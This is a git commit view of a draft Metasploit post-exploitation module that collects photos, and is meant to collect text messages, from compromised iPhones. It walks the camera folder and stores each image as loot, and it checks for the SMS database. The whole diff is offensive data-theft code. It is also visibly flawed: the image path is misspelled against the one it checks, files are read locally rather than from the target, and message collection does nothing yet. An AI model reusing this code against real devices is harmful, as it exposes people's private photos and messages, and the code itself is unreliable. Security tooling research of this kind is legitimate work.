storing images

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-10-30 15:43:25 -05:00
parent d1da7d84db
commit b57b269df4
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
1 changed files with 46 additions and 3 deletions

View File

@ -4,12 +4,14 @@
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Placeholder Name',
'Name' => 'iOS Image and Text Gatherer',
'Description' => %q{
This is a placeholder description for the module.
This module collects images and text messages from iPhones.
},
'License' => MSF_LICENSE,
'Author' => [ 'Shelby Pace' ], # Metasploit Module
@ -18,7 +20,48 @@ class MetasploitModule < Msf::Post
))
end
def run
# location of images: /private/var/mobile/Media/DCIM/100APPLE
def check_for_img_path
directory?('/private/var/mobile/Media/DCIM/100APPLE')
end
def enum_img
img_path = '/private/var/mobile/Media/DCIM/100APPlE'
unless check_for_img_path
print_bad('Default image path not found')
return
end
print_good('Image path found. Will begin searching for images...')
ios_imgs = dir(img_path)
ios_imgs.each do |img|
begin
f = File.open("#{img_path}/#{img}")
data = File.read(f)
store_loot("ios_image", "image/jpg", session, data, img)
print_good("Stored #{img}")
rescue
print_bad('Failed to read and collect images')
end
end
end
# location of texts: /private/var/mobile/Library/SMS/sms.db
def check_for_sms
file?('/private/var/mobile/Library/SMS/sms.db')
end
def enum_text
unless check_for_sms
print_bad('No text messages found')
return
end
print_good('Text message file found')
end
def run
enum_img
enum_text
end
end